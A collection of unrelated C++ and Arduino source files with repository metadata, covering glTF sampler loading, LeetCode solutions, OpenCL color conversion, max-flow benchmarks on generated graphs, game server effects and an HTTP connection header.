{GL_LINEAR_MIPMAP_NEAREST, 0, MipState::MipmapLinear},
{GL_NEAREST_MIPMAP_LINEAR, 1, MipState::MipmapNear},
{GL_LINEAR_MIPMAP_LINEAR, 1, MipState::MipmapLinear},
};
struct Wrap {
GLenum type;
WrapState state;
bool operator == (const GLenum t) const noexcept {
return type == t;
}
};
const Wrap c_wrap[] = {
{GL_CLAMP_TO_EDGE, WrapState::ClampToEdge},
{GL_MIRRORED_REPEAT, WrapState::MirroredRepeat},
{GL_REPEAT, WrapState::Repeat},
};
}
using namespace loader;
Sampler::Sampler(const JValue& v) {
iLinearMag = CheckEnum(c_mag, OptionalDefault<loader::GLEnum>(v, "magFilter", GL_LINEAR)).iLinear;
const auto& min = CheckEnum(c_min, OptionalDefault<loader::GLEnum>(v, "minFilter", GL_NEAREST_MIPMAP_LINEAR));
iLinearMin = min.iLinear;
mipLevel = min.mip;
wrapS = CheckEnum(c_wrap, OptionalDefault<loader::GLEnum>(v, "wrapS", GL_REPEAT)).state;
wrapT = CheckEnum(c_wrap, OptionalDefault<loader::GLEnum>(v, "wrapT", GL_REPEAT)).state;
}
}
|
4fd760102f153101bdba735b1b58948f8d4a7b14 | 7298be87f17bdb97709339e06034368925e78c86 | /src/accepted/169.MajorityElement.cpp | a51723e595d7bf6655808a7e1ab5fe090621879a | [] | no_license | pigrange/LeetCodeStepByStep | 0ca4c50f0952889a2cc406064092f68e26bf4a25 | a6c9ee0afc2a5f18167be4e59406bbb5f10db809 | refs/heads/master | 2020-07-27T09:34:09.385082 | 2019-09-29T09:05:52 | 2019-09-29T09:05:52 | 209,046,833 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 470 | cpp | 169.MajorityElement.cpp | #include <algorithm>
#include <iostream>
#include <vector>
using namespace std;
class Solution {
public:
int majorityElement(vector<int>& nums) {
sort(nums.begin(), nums.end());
return nums[nums.size() / 2];
}
};
class Solution {
public:
int majorityElement(vector<int>& nums) {
int count = 0, candidate = 0;
for (auto num : nums) {
if (!count) candidate = num;
count += (num == candidate) ? 1 : -1;
}
return candidate;
}
}; |
91e8c3cd215f6643482be04743ace7c1c0f78509 | 66c38cc853d2813b1b47f320e20b0161af33f51d | /src/peripheral/platform/devices/n900/sysinfo.cpp | 181d108bbdb0f94cb34a1d73030ffab001e71c8a | [
"MIT"
] | permissive | hbirchtree/coffeecutie | 9a0251f7344bb7850e1d10789dd445ec883fed42 | 71f452dcb24e98ef601da46da0ec252ba598b07f | refs/heads/master | 2023-08-09T12:10:01.871364 | 2020-05-31T01:57:54 | 2020-05-31T01:57:54 | 34,418,860 | 8 | 1 | MIT | 2020-04-15T16:42:51 | 2015-04-22T22:14:38 | C++ | UTF-8 | C++ | false | false | 124 | cpp | sysinfo.cpp | #include <coffee/core/plat/environment/maemo/sysinfo.h>
namespace Coffee{
namespace Environment{
namespace Maemo{
}
}
}
|
f1d6ca1d91b255d27fdbbb6510063e0874cb5ea8 | 80bef02d60e0b26f63d0ff7a1bcb52d723bad883 | /Source/Puzzle_Platforms/Puzzle_Platforms.cpp | 309104ab7530b1d010a65518a8fdfce4b583147f | [] | no_license | AlexDonisthorpe/Puzzle-Platformer | d945f66ee5445149bc8dc92ba0661d5347e83993 | 614f142fb4fbd359f51a63ce4aa44214b29564ef | refs/heads/master | 2023-07-27T19:55:23.078443 | 2021-09-11T20:31:37 | 2021-09-11T20:31:37 | 380,466,515 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 214 | cpp | Puzzle_Platforms.cpp | // Copyright Epic Games, Inc. All Rights Reserved.
#include "Puzzle_Platforms.h"
#include "Modules/ModuleManager.h"
IMPLEMENT_PRIMARY_GAME_MODULE( FDefaultGameModuleImpl, Puzzle_Platforms, "Puzzle_Platforms" );
|
e384d45cea3e3d87bca15063372f07d273d6c012 | d88aee6ee4f6c90e68bc27074ebc551da362992b | /SDS/day4/강사님 코드/강수량.cpp | 96133b90c55ec1a351bddf567552a0938b8410e2 | [] | no_license | hjy0951/Algorithm | ed04fd92c6c07e275377940435928bd569de5030 | a84428254aad376f5cbc57c4dfc1dfc500dbea76 | refs/heads/master | 2023-06-25T23:44:36.992766 | 2023-06-12T06:15:23 | 2023-06-12T06:15:23 | 232,743,643 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,098 | cpp | 강수량.cpp | #include<cstdio>
#include<vector>
#define pii pair<int,int>
using namespace std;
int n,m,i,d[200000],a,b,t,x,y,z,ex,ey;
vector<int>e,f;
int max(int a,int b){return a<b?b:a;}
int init(int p,int l,int r){
if(l==r)return d[p]=f[l];
return d[p]=max(init(p*2,l,(l+r)/2),init(p*2+1,(l+r)/2+1,r));
}
int q(int p,int l,int r,int x,int y){
if(x>y||r<x||l>y)return 0;
if(l>=x&&r<=y)return d[p];
return max(q(p*2,l,(l+r)/2,x,y),q(p*2+1,(l+r)/2+1,r,x,y));
}
int main(){
scanf("%d",&n);
for(i=0;i<n;i++)scanf("%d%d",&x,&y),e.push_back(x),f.push_back(y);
init(1,0,n-1);
scanf("%d",&m);
while(m--){
scanf("%d%d",&a,&b);
x=lower_bound(e.begin(),e.end(),a)-e.begin();
y=lower_bound(e.begin(),e.end(),b)-e.begin();
ex=x<n&&e[x]==a;
ey=y<n&&e[y]==b;
t=lower_bound(e.begin(),e.end(),a+1)-e.begin();
z=q(1,0,n-1,t,y-1);
if((ey&&ex&&f[x]<f[y])||(ey&&z>=f[y])||(ex&&z>=f[x]))printf("false\n");
else if(ex&&ey&&y-x==b-a)printf("true\n");
else printf("maybe\n");
}
} |
c97b3c48901afc4ce29b744ffec52e1300ad7d21 | fc056b2e63f559087240fed1a77461eb72b2bf8e | /src/server/gameserver/skill/EffectActivation.cpp | ee3d2d132f09a5f3fabdebf1a70c237f08e69eda | [] | no_license | opendarkeden/server | 0bd3c59b837b1bd6e8c52c32ed6199ceb9fbee38 | 3c2054f5d9e16196fc32db70b237141d4a9738d1 | refs/heads/master | 2023-02-18T20:21:30.398896 | 2023-02-15T16:42:07 | 2023-02-15T16:42:07 | 42,562,951 | 48 | 37 | null | 2023-02-15T16:42:10 | 2015-09-16T03:42:35 | C++ | UHC | C++ | false | false | 3,043 | cpp | EffectActivation.cpp | //////////////////////////////////////////////////////////////////////////////
// Filename : EffectActivation.cpp
// Written by : elca
// Description :
//////////////////////////////////////////////////////////////////////////////
#include "EffectActivation.h"
#include "Slayer.h"
#include "GCRemoveEffect.h"
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
EffectActivation::EffectActivation(Creature* pCreature)
{
__BEGIN_TRY
// 디텍트 히든은 슬레이어만이 쓸 수 있다.
Assert(pCreature != NULL);
Assert(pCreature->isSlayer());
setTarget(pCreature);
__END_CATCH
}
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
void EffectActivation::affect(Creature* pCreature)
{
__BEGIN_TRY
__END_CATCH
}
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
void EffectActivation::affect(Zone* pZone , ZoneCoord_t x , ZoneCoord_t y , Object* pObject)
{
__BEGIN_TRY
__END_CATCH
}
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
void EffectActivation::unaffect(Creature* pCreature)
{
__BEGIN_TRY
//cout << "EffectActivation " << "unaffect BEGIN" << endl;
Assert(pCreature != NULL);
Assert(pCreature->isSlayer());
// 플래그를 제거한다.
pCreature->removeFlag(Effect::EFFECT_CLASS_ACTIVATION);
Zone* pZone = pCreature->getZone();
Assert(pZone != NULL);
// 이펙트가 사라졌다고 알려준다.
GCRemoveEffect gcRemoveEffect;
gcRemoveEffect.setObjectID(pCreature->getObjectID());
gcRemoveEffect.addEffectList(Effect::EFFECT_CLASS_ACTIVATION);
pZone->broadcastPacket(pCreature->getX(), pCreature->getY(), &gcRemoveEffect);
//cout << "EffectActivation " << "unaffect END" << endl;
__END_CATCH
}
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
void EffectActivation::unaffect()
{
__BEGIN_TRY
Creature* pCreature = dynamic_cast<Creature*>(m_pTarget);
unaffect(pCreature);
__END_CATCH
}
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
void EffectActivation::unaffect(Zone* pZone , ZoneCoord_t x , ZoneCoord_t y , Object* pObject)
{
__BEGIN_TRY
__END_CATCH
}
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
string EffectActivation::toString()
const throw()
{
__BEGIN_TRY
StringStream msg;
msg << "EffectActivation("
<< "ObjectID:" << getObjectID()
<< ")";
return msg.toString();
__END_CATCH
}
|
8e8c4762b6ac78541f181d96690845c4a7218994 | 6ee0a50017e366956cbffc6c3cba01f054116dd7 | /main.cpp | 4321091946a4eeb0d374be0e244faead65f5c91c | [] | no_license | nitasn/SearchingAlgoServer | 839ba3430609d17c2137e522800a0e95eb24e2c7 | 9d9216a9f5d5af3b8f4e3b3ed0b7358218bf1b9d | refs/heads/master | 2022-12-26T23:43:25.895235 | 2020-10-12T15:59:50 | 2020-10-12T15:59:50 | 233,412,113 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 953 | cpp | main.cpp | #include "matrixSearchable.h"
#include "Searchable.h"
#include <iostream>
#include "algorithmDFS.h"
#include "algorithmBFS.h"
#include "algorithmA_star.h"
#include "FileCacheManager.h"
#include "algorithmBestFirstSearch.h"
#include "SerialServer.h"
#include "OA.h"
#include "ParallelServer.h"
#include "log_info.h"
using namespace std;
void sleep_forever()
{
auto forever = chrono::system_clock::now() + chrono::hours(numeric_limits<int>::max());
this_thread::sleep_until(forever);
}
int main()
{
algorithmA_star<coords> algo;
auto *searcher = dynamic_cast<Searcher<coords> *>(&algo); // down casting
OA oa(searcher); // object adapter from graphs world to server_side world
auto *solver = dynamic_cast<server_side::Solver<string, string> *>(&oa); // down casting again
server_side::ClientHandler clientHandler(solver);
server_side::ParallelServer server(5600, &clientHandler);
sleep_forever();
return 0;
} |
ade8462cf4e757fb9b810fff3e678f06b397b3b4 | a89f280a3602a729cad6d592b29e961840d2e2f4 | /cpp/src/dotcpp/dot/precompiled.cpp | 7f533f7d206533360eed5c4c525749c143d2e3a4 | [
"Apache-2.0"
] | permissive | datacentricorg/datacentric-cpp | 9724eaf0bb27aae32323fd9ad8850c52d7148d6b | 252f642b1a81c2475050d48e9564eec0a561907e | refs/heads/master | 2020-06-20T22:31:07.071574 | 2020-01-22T05:48:41 | 2020-01-22T05:48:41 | 197,271,775 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 34 | cpp | precompiled.cpp | #include <dot/precompiled.hpp>
|
bb2de6ab9141a3f4eb993a19a54540a70b65815d | 7852ad083d3fb837171ff5b04173bee2a25ee354 | /ch10/10_12/Ex_10_12.cpp | 2675711525866f99b5cd4616e5b0654afc047266 | [] | no_license | SeA-xiAoD/Learning_OpenCV3_Homework | 2d19cde2063c148ce641393816fc3a4b4d4559da | 47dc1c90783a84c246c7013bd59bdad3464e116c | refs/heads/master | 2021-08-10T02:51:45.170860 | 2018-09-30T06:57:09 | 2018-09-30T06:57:09 | 136,334,801 | 4 | 4 | null | null | null | null | UTF-8 | C++ | false | false | 697 | cpp | Ex_10_12.cpp | #include <opencv2/opencv.hpp>
#include <iostream>
using namespace std;
int main( int argc, char** argv )
{
cv::Mat origin_img = cv::imread("../faces.png");
// a
cv::Mat img1;
cv::resize(origin_img, img1, cv::Size(origin_img.rows / 2, origin_img.cols / 2));
cv::resize(img1, img1, cv::Size(img1.rows / 2, img1.cols / 2));
cv::resize(img1, img1, cv::Size(img1.rows / 2, img1.cols / 2));
cv::imshow("resize", img1);
// b
cv::Mat img2;
cv::pyrDown(origin_img, img2);
cv::pyrDown(img2, img2);
cv::pyrDown(img2, img2);
cv::imshow("pyrDown", img1);
std::cout << img1.size << " " << img2.size << std::endl;
cv::waitKey(0);
return 0;
}
|
306b2b8ddc18165202ac947f6902df9ef384f0f7 | e69477ed1269a13acdb257a00d4a513d313cf441 | /백준/9095. 1, 2, 3 더하기.cpp | cdb280770cb180664bcfe106c68cad791e22dd33 | [] | no_license | thnoh1212/Practice | c21d44859c3264e36335d8a0873e328a0929a282 | aff9f2dd91eefa85aaf6d088449ea2df047e5225 | refs/heads/master | 2023-08-24T06:55:26.107951 | 2021-09-10T07:27:49 | 2021-09-10T07:27:49 | 176,422,331 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 523 | cpp | 9095. 1, 2, 3 더하기.cpp | // 전역변수로 count를 사용할 경우 여러 다른 함수와 이름이 겹쳐 모호함 발생. cnt 사용
#include <iostream>
using namespace std;
int cnt = 0;
void dfs(int now, const int target) {
if (now == target) {
cnt++;
return;
}
else if (now > target) return;
else {
dfs(now + 1, target);
dfs(now + 2, target);
dfs(now + 3, target);
}
}
int main()
{
int N;
cin >> N;
for (int i = 0; i < N; i++) {
int temp;
cin >> temp;
dfs(0, temp);
cout << cnt << endl;
cnt = 0;
}
}
|
7d37d38d12e02e327ff8001e460c29487a333c42 | d0413c1838a49acb11ccdcd7470db15ebfcd6ac7 | /xcore/cl_csc_handler.cpp | cf7e5bc70715c3367bd27121b1118a9adfb7c0af | [
"Apache-2.0"
] | permissive | zjutoe/libxcam | a851f0ac77f865e41f7a560a6ce21d086611ebac | 9d00f12095ff326b60967a502794bd11d339c211 | refs/heads/master | 2021-01-18T10:05:24.911704 | 2015-04-20T06:31:57 | 2015-04-20T06:31:57 | 32,000,911 | 0 | 0 | null | 2015-03-11T05:53:32 | 2015-03-11T05:53:32 | null | UTF-8 | C++ | false | false | 4,677 | cpp | cl_csc_handler.cpp | /*
* cl_csc_handler.cpp - CL csc handler
*
* Copyright (c) 2015 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Author: wangfei <feix.w.wang@intel.com>
* Author: Wind Yuan <feng.yuan@intel.com>
*/
#include "xcam_utils.h"
#include "cl_csc_handler.h"
namespace XCam {
CLCscImageKernel::CLCscImageKernel (SmartPtr<CLContext> &context, const char *name)
: CLImageKernel (context, name)
, _vertical_offset (0)
{
}
XCamReturn
CLCscImageKernel::prepare_arguments (
SmartPtr<DrmBoBuffer> &input, SmartPtr<DrmBoBuffer> &output,
CLArgument args[], uint32_t &arg_count,
CLWorkSize &work_size)
{
SmartPtr<CLContext> context = get_context ();
const VideoBufferInfo & video_info = output->get_video_info ();
_image_in = new CLVaImage (context, input);
_image_out = new CLVaImage (context, output);
_vertical_offset = video_info.aligned_height;
XCAM_ASSERT (_image_in->is_valid () && _image_out->is_valid ());
XCAM_FAIL_RETURN (
WARNING,
_image_in->is_valid () && _image_out->is_valid (),
XCAM_RETURN_ERROR_MEM,
"cl image kernel(%s) in/out memory not available", get_kernel_name ());
//set args;
args[0].arg_adress = &_image_in->get_mem_id ();
args[0].arg_size = sizeof (cl_mem);
args[1].arg_adress = &_image_out->get_mem_id ();
args[1].arg_size = sizeof (cl_mem);
args[2].arg_adress = &_vertical_offset;
args[2].arg_size = sizeof (_vertical_offset);
work_size.dim = XCAM_DEFAULT_IMAGE_DIM;
if (video_info.format == V4L2_PIX_FMT_NV12) {
work_size.global[0] = video_info.width / 2;
work_size.global[1] = video_info.height / 2;
arg_count = 3;
}
else if (video_info.format == XCAM_PIX_FMT_LAB) {
work_size.global[0] = video_info.width;
work_size.global[1] = video_info.height;
arg_count = 2;
}
work_size.local[0] = 4;
work_size.local[1] = 4;
return XCAM_RETURN_NO_ERROR;
}
CLCscImageHandler::CLCscImageHandler (const char *name, CLCscType type)
: CLImageHandler (name)
, _output_format (V4L2_PIX_FMT_NV12)
, _csc_type (type)
{
switch (type) {
case CL_CSC_TYPE_RGBATONV12:
_output_format = V4L2_PIX_FMT_NV12;
break;
case CL_CSC_TYPE_RGBATOLAB:
_output_format = XCAM_PIX_FMT_LAB;
break;
default:
break;
}
}
XCamReturn
CLCscImageHandler::prepare_buffer_pool_video_info (
const VideoBufferInfo &input,
VideoBufferInfo &output)
{
bool format_inited = output.init (_output_format, input.width, input.height);
XCAM_FAIL_RETURN (
WARNING,
format_inited,
XCAM_RETURN_ERROR_PARAM,
"CL image handler(%s) ouput format(%s) unsupported",
get_name (), xcam_fourcc_to_string (_output_format));
return XCAM_RETURN_NO_ERROR;
}
SmartPtr<CLImageHandler>
create_cl_csc_image_handler (SmartPtr<CLContext> &context, CLCscType type)
{
SmartPtr<CLImageHandler> csc_handler;
SmartPtr<CLImageKernel> csc_kernel;
XCamReturn ret = XCAM_RETURN_NO_ERROR;
XCAM_CL_KERNEL_FUNC_SOURCE_BEGIN(kernel_csc_rgbatonv12)
#include "kernel_csc_rgbatonv12.cl"
XCAM_CL_KERNEL_FUNC_END;
XCAM_CL_KERNEL_FUNC_SOURCE_BEGIN(kernel_csc_rgbatolab)
#include "kernel_csc_rgbatolab.cl"
XCAM_CL_KERNEL_FUNC_END;
if (type == CL_CSC_TYPE_RGBATONV12) {
csc_kernel = new CLCscImageKernel (context, "kernel_csc_rgbatonv12");
ret = csc_kernel->load_from_source (kernel_csc_rgbatonv12_body, strlen (kernel_csc_rgbatonv12_body));
}
else if (type == CL_CSC_TYPE_RGBATOLAB) {
csc_kernel = new CLCscImageKernel (context, "kernel_csc_rgbatolab");
ret = csc_kernel->load_from_source (kernel_csc_rgbatolab_body, strlen (kernel_csc_rgbatolab_body));
}
XCAM_FAIL_RETURN (
WARNING,
ret == XCAM_RETURN_NO_ERROR,
NULL,
"CL image handler(%s) load source failed", csc_kernel->get_kernel_name());
XCAM_ASSERT (csc_kernel->is_valid ());
csc_handler = new CLCscImageHandler ("cl_handler_csc", type);
csc_handler->add_kernel (csc_kernel);
return csc_handler;
}
};
|
fda9f739487cd1c7215482f4705bb09deeced3ca | c3b51a1d48184f276cbabd9af01b476d379b2290 | /with buttons/with buttons/with buttons.ino | b61f7958689e64696fad5ef19b23c9ee7d1f3c61 | [] | no_license | thetechwells/ArduinoUno-DC-motor-Controler | 1b14792fa2bffc48012b56647856be71fd2503f9 | b5b1c085981015fbcdfdbd293cfddb66ef60690f | refs/heads/master | 2016-08-05T13:18:50.804901 | 2015-01-21T01:28:51 | 2015-01-21T01:28:51 | 29,506,542 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 597 | ino | with buttons.ino |
// Pin 2
const int led = 2;
const int but1 = A0;
const int but2 = A1;
int seconds = 0
// the setup routine runs once when you press reset:
void setup() {
// initialize the digital pin as an output:
pinMode(led, OUTPUT);
// initialize serial communications:
Serial.begin(9600)
}
void loop() {
int AI1 = analogRead(but1);
int AI2 = analogRead(but2);
if (AI1 = HIGH) {
if (seconds !15 || seconds > 15) {
(seconds += 1);
}
}
else if (AI2 = HIGH); {
(seconds !0); {
(seconds -= 1);
}
}
} |
61f70870b55b3e30e04a681b4acb2e7ebb4005b4 | 48f8148b8dbabab86dfd6e86ab7dd5dffaeb3cd0 | /code/scalingGHonGIRGs.cpp | 8d075edb4432c0bd74bfd63c65eb156e08eed3e2 | [
"MIT"
] | permissive | chistopher/scale-free-flow | b9eb28ff0029c553dc2049a63d4bf6dc1d370618 | 2db5fe9563a459035b38b449a293aecbac32710f | refs/heads/main | 2023-06-16T08:06:04.640719 | 2021-06-30T11:07:20 | 2021-06-30T11:07:20 | 381,657,327 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,738 | cpp | scalingGHonGIRGs.cpp |
#include <iostream>
#include <fstream>
#include <random>
#include <set>
#include <common.h>
#include <utils.h>
#include <ScopedTimer.hpp>
#include <Dinics.h>
#include <PushRelabel.h>
#include <BoykovKolmogorov.h>
#include <girgs/Generator.h>
#define rep(a, b) for(int a = 0; a < (b); ++a)
#define all(a) (a).begin(),(a).end()
using namespace std;
vector<pair<int,int>> generatePairs2(const EdgeList& graph, int num, int mndeg, int mxdeg, mt19937& gen) {
auto deg = degrees(graph);
vector<int> candidates;
rep(i,size(deg))
if(mndeg<=deg[i] && deg[i]<=mxdeg)
candidates.push_back(i);
if(num > size(candidates)*(size(candidates)-1)/10)
return {};
uniform_int_distribution<int> dist(0, (int)size(candidates)-1);
set<pair<int,int>> pairs;
while(size(pairs)<num) {
auto s = dist(gen);
auto t = dist(gen);
while (s == t) t = dist(gen);
pairs.emplace(candidates[s],candidates[t]);
}
return {all(pairs)};
}
auto micros(chrono::steady_clock::time_point start, chrono::steady_clock::time_point end) {
return chrono::duration_cast<chrono::microseconds>(end-start).count();
}
int main() {
ios::sync_with_stdio(false);
int startSeed = 1337;
int repetitions = 10; // number of girgs per n
int num_pairs = 10; // number of s-t pairs per girg
int avg_deg = 10;
int min_n = 1'000;
int max_n = 1'025'000;
mt19937 gen(startSeed);
auto sampleGirg = [avg_deg] (int n, int seed, int iter) {
double ple = 2.8;
double alpha = numeric_limits<double>::infinity(); // T=0
int dimension = 1;
int wseed = n + seed + iter + 12;
int pseed = n + seed + iter + 123;
int sseed = n + seed + iter + 1234; // irrelevant for T=0
auto weights = girgs::generateWeights(n,ple,wseed,false);
girgs::scaleWeights(weights, avg_deg, dimension, alpha);
const auto positions = girgs::generatePositions(n,dimension,pseed,false);
EdgeList res;
res.edges = girgs::generateEdges(weights,positions,alpha,sseed);
res.n = n;
return res;
};
ofstream f(DATA_DIR + string("other/scaling.times"));
f << "n,iter,alg,time\n";
for (int n = min_n; n < max_n; n*=2) {
cout << "n " << n << endl;
for(int iter=0; iter<repetitions; ++iter) {
ScopedTimer timer("\titer " + to_string(iter));
auto graph = sampleGirg(n, startSeed, iter);
Dinics::Dinics0Vanilla din0(graph);
Dinics::Dinics1Bi din1(graph);
Dinics::Dinics2Reset din2(graph);
Dinics::Dinics3Stamps din3(graph);
Dinics::Dinics4Skip din4(graph);
Dinics::Dinics5OPT din5(graph);
GoldbergTarjan::PushRelabel algPR(graph);
BoykovKolmogorov::BKAlgorithm algBK(graph);
auto pairs = generatePairs2(graph, num_pairs, 10, 20, gen);
// time all dinics
auto timeAlg = [&](auto& alg, const string& name) {
auto elp = 0ll;
for(auto [s,t] : pairs) {
alg.resetFlow();
auto t1 = chrono::steady_clock::now();
alg.maxFlow(s, t);
auto t2 = chrono::steady_clock::now();
elp += micros(t1,t2);
}
f << n << ',' << iter << ',' << name << ',' << elp / num_pairs << endl;
};
timeAlg(din0, "Dinics0Vanilla");
timeAlg(din1, "Dinics1Bi");
timeAlg(din2, "Dinics2Reset");
timeAlg(din3, "Dinics3Stamp");
timeAlg(din4, "Dinics4Skip");
timeAlg(din5, "Dinics5OPT");
// time PR
{
auto elp = 0ll;
for(auto [s,t] : pairs) {
algPR.init(s,t);
auto t1 = chrono::steady_clock::now();
algPR.maxFlow(s, t);
auto t2 = chrono::steady_clock::now();
elp += micros(t1,t2);
algPR.deinit();
}
f << n << ',' << iter << ',' << "PushRelabel" << ',' << elp / num_pairs << endl;
}
// time BK
{
auto elp = 0ll;
for(auto [s,t] : pairs) {
auto t1 = chrono::steady_clock::now();
algBK.maxFlow(s, t);
auto t2 = chrono::steady_clock::now();
elp += micros(t1,t2);
}
f << n << ',' << iter << ',' << "BK-Algorithm" << ',' << elp / num_pairs << endl;
}
}
}
return 0;
}
|
23d9620c46f10e849e270d378fb5338d90638392 | 1b84151373c34fb47d64011b0ee3125ef5ca7b8c | /dotnet-tracer/main/OpenCover.Profiler/ExceptionHandler.h | 93cc2765c98f3d5848ce8137d037049347a76377 | [
"Apache-2.0",
"MIT",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-generic-cla"
] | permissive | codedx/codepulse | 63459170fc4b66c639bb17f15ca537865e744ddc | 919343f7b455b198daa215e5f3e7cff6f758722a | refs/heads/master | 2022-12-16T18:59:40.716888 | 2021-05-21T12:08:39 | 2021-05-21T12:08:39 | 18,062,312 | 81 | 24 | Apache-2.0 | 2022-12-07T19:29:21 | 2014-03-24T12:49:44 | HTML | UTF-8 | C++ | false | false | 1,250 | h | ExceptionHandler.h | //
// OpenCover - S Wilde
//
// This source code is released under the MIT License; see the accompanying license file.
//
// Modified work Copyright 2017 Secure Decisions, a division of Applied Visions, Inc.
//
#include "Instruction.h"
#pragma once
namespace Instrumentation
{
class ExceptionHandler;
class Method;
typedef std::vector<ExceptionHandler *> ExceptionHandlerList;
/// <summary>A representation of a try/catch section handler</summary>
class ExceptionHandler
{
public:
ExceptionHandler();
void SetTypedHandlerData(ULONG exceptionToken,
Instruction * tryStart,
Instruction * tryEnd,
Instruction * handlerStart,
Instruction * handlerEnd)
{
m_handlerType = COR_ILEXCEPTION_CLAUSE_NONE;
m_tryStart = tryStart;
m_tryEnd = tryEnd;
m_handlerStart = handlerStart;
m_handlerEnd = handlerEnd;
m_filterStart = nullptr;
m_token = exceptionToken;
}
#ifdef TEST_FRAMEWORK
public:
#else
private:
#endif
CorExceptionFlag m_handlerType;
Instruction * m_tryStart;
Instruction * m_tryEnd;
Instruction * m_handlerStart;
Instruction * m_handlerEnd;
Instruction * m_filterStart;
ULONG m_token;
public:
friend class Method;
};
} |
8d9689bcb192212b85152ba91a355a6bd8ad12ee | 5a4424dbd8361e0efbce34f873c269bdb61f56b7 | /source/sockets/HttpConnection.h | fa01184cbe5f7e41c80b72fe19b42729f5d7b6d1 | [] | no_license | AutoFrenzy/Lunatic | 0b467da7faf3dc6a83cf2e97c1f63dd858351870 | d783ec19a1c7bc1c3e439d0e5f380672bef00333 | refs/heads/master | 2021-01-17T22:55:46.590561 | 2011-10-16T22:30:51 | 2011-10-16T22:30:51 | 2,584,958 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,401 | h | HttpConnection.h | #ifndef MUUS_SOCKETS_HTTPCONNECTION_H_INCLUDED
#define MUUS_SOCKETS_HTTPCONNECTION_H_INCLUDED
#include "sockcommon.h"
#include "SocketSet.h"
#include <map>
#include <vector>
namespace sockets {
class HttpConnection {
SocketSet set;
bool posting;
bool _done;
string url;
string postData;
int statusback;
string databack;
std::multimap<string, string> headers;
std::multimap<string, string> hdrsback;
bool _open(string host, string port);
void _addHeader(string key, string value);
void _start();
void _update();
void _finish();
void _getHeader(std::vector<string>& values, string key);
public:
HttpConnection() {}
bool open(string host, string port = "80") { return _open(host, port); }
void setUrl(string newUrl) { url = newUrl; }
void addHeader(string key, string value) { _addHeader(key, value); }
void get() { posting = false; _start(); }
void post(string post) { posting = true; postData = post; _start(); }
void update() { _update(); }
bool done() { return _done; }
int status() { return statusback; }
void getHeader(std::vector<string>& values, string key) { _getHeader(values, key); }
void getAllHeaders(std::multimap<string, string>& values) { values = hdrsback; }
string data() { return databack; }
};
} // sockets
#endif // MUUS_SOCKETS_HTTPCONNECTION_H_INCLUDED
|
85c6676694f929affa935a85f3e45946e99ed37d | 7df5fae6fc1ebd2c3896361a9eb2feea1f1a73df | /obs/src/cpp/Data/DC_ControlAction.h | c8aba944b304b5e0cedce3c12885d179e9493ef8 | [] | no_license | jentlestea1/obs_xslt | bd7c35a71698a17d4e89c4122fbd8bb450f56ce9 | d22394be1712f956fccf20e31204b8f961a8ee05 | refs/heads/master | 2021-05-11T06:50:25.310161 | 2018-01-18T15:13:28 | 2018-01-18T15:13:28 | 117,998,474 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,966 | h | DC_ControlAction.h | //
// Copyright 2004 P&P Software GmbH - All Rights Reserved
//
// DC_ControlAction.h
//
// Version 1.0
// Date 28.07.03 (version 1.0)
// Author A. Pasetti (P&P Software)
#ifndef DC_ControlActionH
#define DC_ControlActionH
#include "../GeneralInclude/BasicTypes.h"
#include "../Base/ConditionalPunctualAction.h"
#include "../Data/ControlBlock.h"
/**
* Encapsulation of the conditional propagation of a <i>control block</i>.
* A control action has a settable attribute called <i>target control block</i>.
* A control action is implemented
* as a <i>conditional punctual action</i> whose
* <i>execution action</i> consists in sending a propagation request to
* the target control block. This class assumes that the target control block
* is already fully configured.
* <p>
* Control actions offer a <i>reset service</i>. A call to the reset service
* causes the target control block to be reset.
* <p>
* This class implements a default <i>execution check</i> that always returns
* "can execute". This means that, if the control action is enabled, then its
* execution will always result in the target control block receiving a propagation
* request. Subclasses can of course implement different execution checks.
* @author Alessandro Pasetti (P&P Software GmbH)
* @ingroup Data
* @version 1.0
*/
class DC_ControlAction : public ConditionalPunctualAction {
private:
ControlBlock* pTargetControlBlock;
protected:
/**
* Encapsulate an <i>execution check</i> that always returns
* "control action can execute".
* @see ConditionalPunctualAction#doAction
* @return always returns true.
*/
virtual bool canExecute(void);
/**
* Send a propagate request to the target control block. This
* method always returns: "ACTION_SUCCESS"
* @see ConditionalPunctualAction#doAction
* @return the outcome code of the punctual action
*/
virtual TD_ActionOutcome doConditionalAction(void);
public:
/**
* Instantiate a control action. This method sets the class identifier and
* initializes the target control block to an illegal value to signify
* that the component is not yet configured.
*/
DC_ControlAction(void);
/**
* Load the target control block.
* @param pBlock the target control block to be loaded
*/
void setTargetControlBlock(ControlBlock* pBlock);
/**
* Return the currently loaded target control block.
* @return the target control block that is currently loaded
*/
ControlBlock* getTargetControlBlock(void);
/**
* Reset the target control block.
*/
void reset(void);
/**
* Perform a class-specific configuration check on a control action. It is
* verified that the target control block has been loaded.
*/
virtual bool isObjectConfigured(void);
};
#endif
|
